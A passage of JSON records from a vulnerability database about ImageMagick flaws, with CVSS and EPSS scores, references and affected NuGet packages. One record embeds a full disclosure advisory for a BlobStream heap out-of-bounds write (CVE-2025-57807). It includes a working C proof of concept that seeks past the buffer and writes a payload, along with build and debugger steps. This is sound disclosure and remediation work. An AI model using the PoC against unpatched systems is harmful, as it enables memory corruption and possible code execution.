rendering.","references":[{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/9db96365ecab5de69cdec81b9359672b3a827aaa","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/9db96365ecab5de69cdec81b9359672b3a827aaa"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/f63c78b3828933f1cc7cf499390248981af765aa","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/f63c78b3828933f1cc7cf499390248981af765aa"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xpg8-7m6m-jf56","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xpg8-7m6m-jf56"},{"reference_url":"https://github.com/advisories/GHSA-xpg8-7m6m-jf56","reference_id":"GHSA-xpg8-7m6m-jf56","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xpg8-7m6m-jf56"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-xpg8-7m6m-jf56"],"risk_score":1.4,"exploitability":"0.5","weighted_severity":"2.7","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-mntx-6yku-3qcx"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/25675?format=json","vulnerability_id":"VCID-mxg1-261s-nbds","summary":"ImageMagick BlobStream Forward-Seek Under-Allocation\n**Reporter:** Lumina Mescuwa  \n**Product:** ImageMagick 7 (MagickCore)  \n**Component:** `MagickCore/blob.c` (Blob I/O - BlobStream)  \n**Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:** 7.1.2-0, 7.1.2-1\n    \n- **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:** External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType` (signed 64-bit)  \n`extent/length/quantum: size_t` (unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability & Reachability\n\n- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:** High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:** High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L** - a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U** - corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail.\n    \n2. **Ensure capacity ≥ need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.)\n    \n3. **Reallocate to `target + 1` before copying;** then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression & Compatibility\n\n- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify `extent ≥ offset + length` at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:** macOS 14 (arm64)\n    \n- **Compiler:** clang-17 with AddressSanitizer\n    \n- **ImageMagick:** Q16-HDRI\n    \n- **Prefix:** `~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version > magick_version.txt\n```\n\n---\n\n## Build & Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <MagickCore/MagickCore.h>\n\n#include <MagickCore/blob.h>\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob → BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don't free our malloc'd buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, &A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write → reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn't crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2>&1 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:** Lumina Mescuwa\n\n---","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-57807","reference_id":"","reference_type":"","scores":[{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14513","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14684","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14757","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14565","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14655","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14714","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14674","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14635","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.1458","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14472","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14476","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14541","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.1457","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00047","scoring_system":"epss","scoring_elements":"0.14568","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-57807"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e","reference_id":"","reference_type":"","scores":[{"value":"3.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg","reference_id":"","reference_type":"","scores":[{"value":"3.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"3.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57807","reference_id":"","reference_type":"","scores":[{"value":"3.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57807"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520","reference_id":"1114520","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2393590","reference_id":"2393590","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2393590"},{"reference_url":"https://github.com/advisories/GHSA-23hg-53q6-hqfg","reference_id":"GHSA-23hg-53q6-hqfg","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-23hg-53q6-hqfg"},{"reference_url":"https://usn.ubuntu.com/7756-1/","reference_id":"USN-7756-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7756-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570868?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.2"}],"aliases":["CVE-2025-57807","GHSA-23hg-53q6-hqfg"],"risk_score":1.9,"exploitability":"0.5","weighted_severity":"3.8","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-mxg1-261s-nbds"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24705?format=json","vulnerability_id":"VCID-n47w-r932-abey","summary":"ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder\nAn extremely large image profile could result in a heap overflow when encoding a PNG image.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30883.json","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30883.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30883","reference_id":"","reference_type":"","scores":[{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00642","published_at":"2026-04-11T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00446","published_at":"2026-04-04T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00439","published_at":"2026-04-07T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00435","published_at":"2026-04-08T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00437","published_at":"2026-04-09T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00637","published_at":"2026-04-12T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00679","published_at":"2026-04-29T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00677","published_at":"2026-04-26T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00676","published_at":"2026-04-24T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00636","published_at":"2026-04-18T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00631","published_at":"2026-04-16T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00447","published_at":"2026-04-02T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00638","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30883"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30883","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30883"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qmw5-2p58-xvrc","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:53:57Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qmw5-2p58-xvrc"},{"reference_url":"https://nvd.nis